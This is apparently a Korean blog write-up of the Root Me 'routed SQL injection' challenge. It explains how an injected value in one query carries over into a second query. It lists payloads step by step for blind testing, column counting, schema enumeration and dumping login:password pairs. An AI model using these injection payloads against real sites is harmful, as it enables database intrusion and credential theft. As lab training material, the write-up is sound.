[root me] sql injection - routed
문제 접속시 로그인 창을 확인할 수 있다.
메뉴는 홈과 Search 두 가지 창이 존재하게 되는데,
Search 메뉴 접속 시 아이디 검색창을 확인할 수 있다.
[그림1] 로그인 창
[그림2] 아이디 검색 창
해당 메뉴에서 아이디를 검색해보자.
admin 을 입력 후 검색 시 admin id 와 관련된 정보(이메일)를 확인할 수 있다.
[그림3] admin의 정보 확인
해당 메뉴는 OR, AND 키워드를 이용한 Blind sql injection 수행 시 필터링이 됨을 확인할 수 있다.
따라서, 다른 방안을 강구해보자.
union select를 이용해보기로 하자.
'union select 1 -- -
쿼리를 삽입하여 검색을 시도해보기로 하자.
해당 쿼리를 삽입하여 데이터 전송 시 삽입된 쿼리를 포함하여 정상적으로 쿼리가 수행되어 아래 그림과 같이 결과를 뿌려주게 된다.
[그림4] 'union select 1 -- -
아래의 쿼리 입력 시 차례대로 결과를 뿌려주게 된다.
'union select 2 -- -
'union select 3 -- -
4부터 결과 값이 없으므로, 이를 보아 해당 쿼리의 결과 값은 3개임을 확인할 수 있다.
쿼리가 어떻게 되어있길래, 해당 구문이 차례로 결과 값을 보여주는 것일까?
이것이 이 문제의 핵심 포인트이다.
...
$id=$_GET['id'];
$query1="select number from user where id='$id'";
$row = mysql_fetch_array($result, MYSQL_ASSOC);
$query2="select number, email from user where number='".$row['number']."'";
...
위의 쿼리를 참고해보자.
GET 방식으로 전달된 id의 값으로 number 값을 획득하게 되고 첫번째 쿼리에 삽입되고,
첫번째 쿼리의 결과로 얻은 number 값을 두번째 쿼리의 조건절에 삽입하여 더 자세한 정보를 얻게된다.
첫번째 쿼리에서 SQL Injection이 발생하게 되고, 이의 영향이 두번째 쿼리에 영향을 미쳐
첫번째 쿼리에서 삽입한 일부의 쿼리가 두번째 쿼리에 삽입되어
두번째 쿼리에서도 SQL Injection이 발생하게 될 경우, 이를 ROUTED SQL INJECTION의 경우로 여긴다.
ROUTED SQL INJECTION을 수행하기 위해서는 어떻게 공격을 진행해야 될까?
첫번째 쿼리에 hex encoding을 포함한 SQL Injection을 수행하여 공격을 진행해보자.
예를 들어, [' or 1#]를 인코딩한 값은 []이고, 첫번째 쿼리에 삽입 시
[select number from user where id='' or 1#]의 쿼리가 될 것이다.
이 후, 결과 값인 1이 두번째 쿼리에 삽입되고,
결과적으로, number는 1에 해당하는 number와 email 값을 결과 값으로 불러오게된다.
HEX 값을 이용해 SQL Injection을 수행해보기로 하자.
먼저 참 거짓의 쿼리를 삽입해 결과 값이 차이가 있는지 살펴보는 Blind SQL Injection을 수행해보자.
원문 : ' union ' or true -- - -- -
원문 : ' union ' or false -- - -- -
HEX 변환 값 : ' union select (HEX) -- -
//위의 변환을 좀 더 간편하게 하려면 기존에 변환 서비스를 제공하는 웹 사이트를 이용하는 것이 좋다.
ex) AsciiToHex
[그림 7] blind sql injection 가능성 확인
HEX값으로 인코딩하여 order by 구문을 삽입하여 필터링 절차를 우회해보기로 하자.
원문 : ' union select 1' order by 1 -- - -- -
' union select 1'order by 2 -- - -- -
' union select 1'order by 3 -- - -- -
HEX 변환 값 : ' union select (HEX) -- -
위 원문의 변환 값을 차례로 삽입하여 데이터를 전송 시 결과는 아래와 같이 나타나게 된다.
마지막으로 order by 3 -- - 구문 입력 시 에러가 발생하게 되며, 이를 통해 앞의 컬럼 수가 2개임을 확인할 수 있다.
[그림 7] 앞 컬럼의 개수가 2개임을 확인
어차피 화면에 쿼리의 결과 값이 나타나는 경우이니 union based의 sql injection을 수행해보기로 하자.
먼저, 어떤 위치에 값이 들어가게 되는지 확인해보자.
원문 : ' union select ' union select 1, 3 -- - -- -
HEX 변환 값 : ' union select (HEX) -- -
[그림 8] 어떤 위치에 값이 들어가게 되는지 확인
자 이제 문제 없다. 테이블 값, 컬럼 값을 차례로 뽑아보자.
먼저 테이블 값이다.
원문 : 'union select ' union select 1,
(select group_concat(table_name) from information_schema.tables where table_type='base table') -- - -- -
HEX 변환 값 : ' union select (HEX) -- -
[그림 9] 테이블 뽑기
두번째로, 컬럼 값이다.
원문 : 'union select ' union select 1,
(select group_concat(column_name) from information_schema.columns where table_name='users')-- - -- -
HEX 변환 값 : ' union select (HEX) -- -
[그림 10] 컬럼 뽑기
마지막으로 아이디와 패스워드를 뽑아보자.
원문 : ' union select ' union select 1, (select group_concat(login, ':', password) from users) -- -
HEX 변환 값 : ' union select (HEX)
위의 쿼리 삽입 시 아래의 그림과 같이 패스워드 값 획득이 가능하게 된다.
[그림 11] 문제 풀이에 필요한 flag 값 획득 가능
이번 문제의 핵심은 ROUTED SQL INJECTION을 정확히 이해하는가이다.
새로운 유형의 문제를 만나 신기했다..
[MYSQL] load_file() (0) | 2019.02.26 |
---|---|
[root me] sql Injection - file reading (0) | 2019.02.26 |
[MySQL] Limit SQL injection(using procedure analyse) (0) | 2019.02.08 |
test1 (0) | 2019.02.06 |
SQL Injection(order by) (0) | 2019.01.25 |